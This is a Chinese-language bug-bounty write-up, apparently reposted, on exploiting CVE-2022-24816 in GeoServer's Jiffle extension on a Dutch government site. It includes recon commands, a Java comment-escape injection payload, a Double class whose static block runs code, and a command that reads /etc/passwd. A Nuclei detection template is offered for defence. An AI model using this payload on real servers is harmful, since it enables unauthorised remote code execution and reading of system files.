我是如何入侵荷兰政府:利用图像进行远程代码执行

动机:

在一次安全会议上,我发现一个人穿着一件 T 恤,上面写着“我黑了荷兰政府,我得到的只是这件糟糕的 T 恤。” ” 出于好奇,我走近他询问他是如何得到它的。我决心要得到那件很酷的东西。

我是如何入侵荷兰政府:利用图像进行远程代码执行

范围:

我开始寻找机会,并在https://gist.github.com/R0X4R/81e6c50c091a20b060afe5c259b58cfa上偶然发现了一系列符合条件的 bug 查找网站。这份清单成为了我的出发点。

目标:

我利用 httpx 来评估列出的每个网站的实时状态、技术堆栈、HTTP 状态代码和标题。这让我获得了对基础设施的宝贵见解。

cat scope.txt | sort -u | ~/go/bin/httpx -sc -title -tech-detect

当我检查返回 200 OK 响应的网站的功能时,我注意到一个网站正在使用GeoServer服务。
我尝试使用 Nuclei 进行扫描。然而,使用 Nuclei 没有检测到漏洞。

发现:

我发现该服务允许我无需身份验证即可访问其功能。我启动了 Burp Suite 并开始与应用程序交互,探测系统内的漏洞和潜在的利用点。

所以,我对GeoServer做了一些研究。它基本上是一个用于共享地理空间数据的开源服务器。它支持WFS、WMSWCS等标准协议。此外,它还附带JAI-EXT API ,该 API 默认启用并提供用于图像处理的高级对象。

JAI-EXT 项目包含一种称为Jiffle的地图代数语言。Jiffle是一种用于处理光栅图像的简单脚本语言。其主要目标是让您用更少的代码完成更多的工作。

经过深入研究,JT-JIFFLE 扩展的漏洞于 2022 年 4 月 13 日被发现,编号为CVE-2022-24816 。

开发:

该漏洞存在于 JAI-EXT 库对 Jiffle 脚本(一种地图代数语言)的处理中。 Jiffle 脚本旨在在受控环境中安全地编译和执行。然而,由于验证不当,嵌入图像或其他数据中的恶意 Jiffle 代码可能会被注入并在易受攻击的系统上执行。然后,该恶意代码可以利用 JAI-EXT 使用的 Janino Java 编译器,最终导致具有完全系统权限的远程代码执行 (RCE)。

这个解释很简单,同时强调了核心问题:不正确的代码注入导致通过 Jiffle 脚本和 Janino 编译器进行 RCE。

通过查看补丁[JAI-EXT-PATCH],我们可以快速识别出 Javadoc 注释转义已添加到该it.geosolutions.jaiext.jiffle.parser.node.Script write方法中。正如我们在上面看到的, Jiffle使用此scriptModel方法将Java source code.

一种方法是首先使用 WPS 构建器演示网页制作合适的 WPS XML 请求:

我是如何入侵荷兰政府:利用图像进行远程代码执行

此有效负载会产生详细的结果javax.media.jai.util.ImagingException

HTTP/1.1 200
[...]

<?xml version="1.0" encoding="UTF-8"?><wps:ExecuteResponse xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:xlink="http://www.w3.org/1999/xlink" xml:lang="en" service="WPS" serviceInstance="http://localhost:8085/geoserver/ows?" version="1.0.0"><wps:Process wps:processVersion="1.0.0"><ows:Identifier>ras:Jiffle</ows:Identifier><ows:Title>Jiffle map algebra</ows:Title><ows:Abstract>Map algebra powered by Jiffle</ows:Abstract></wps:Process><wps:Status creationTime="2022-08-11T12:36:24.457Z"><wps:ProcessFailed><ows:ExceptionReport version="1.1.0"><ows:Exception exceptionCode="NoApplicableCode"><ows:ExceptionText>Process failed during execution
javax.media.jai.util.ImagingException: All factories fail for the operation &quot;Jiffle&quot;
All factories fail for the operation &quot;Jiffle&quot;it.geosolutions.jaiext.jiffle.JiffleException: Runtime source error for source: package it.geosolutions.jaiext.jiffle.runtime;

import java.util.List;
import java.util.ArrayList;
import java.util.Arrays;

/**
 * Java runtime class generated from the following Jiffle script: 
 *&lt;code&gt;
 * dest = 1; */
 *&lt;/code&gt;
 */
public class JiffleIndirectRuntimeImpl extends it.geosolutions.jaiext.jiffle.runtime.AbstractIndirectRuntime {
[...]
}

Runtime source error for source: package it.geosolutions.jaiext.jiffle.runtime;
[...]

Line 11, Column 3: One of &apos;class enum interface @&apos; expected instead of &apos;*&apos;

当Janino编译器遇到以 a 开头的未注释行*而不是预期的关键字(如class、enum 或 interface )时,它在将源代码转换为字节码时会遇到失败。

要将 Java 代码注入到文件中,我们还必须通过包含字符串 来纠正剩余的注释/*。我们的有效负载将采用以下形式:

<wps:LiteralData>dest = 1; */ INJECTED JAVA CODE /*</wps:LiteralData>

由 Jiffle 生成的 Java 代码,可以覆盖在程序末尾初始化结果变量时使用的 Double 类。

double result = Double.NaN;

当访问我们所操作的 Double 类的静态属性 NaN 时,它会启动静态代码块的执行。用作概念验证的受操纵的 Double 类概述如下:

public class Double {
  public static double NaN;
  static {
    throw new RuntimeException(": We  control the execution flow :)");
  }
}

执行命令变得简单。我们使用以下 Double 类来启动“ ”命令的执行cat /etc/passwd

我是如何入侵荷兰政府:利用图像进行远程代码执行
cat /etc/passwd

将此与初始有效负载结合起来以转义 Java 注释会产生以下请求:

我是如何入侵荷兰政府:利用图像进行远程代码执行

执行上述请求会导致java.lang.ExceptionInInitializerError异常,其中包含所执行命令的输出:

我是如何入侵荷兰政府:利用图像进行远程代码执行
/etc/passwd

I created a Nuclei template to detect this vulnerability, which you can find on this GitHub link: CVE-2022–24816.yaml.

© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容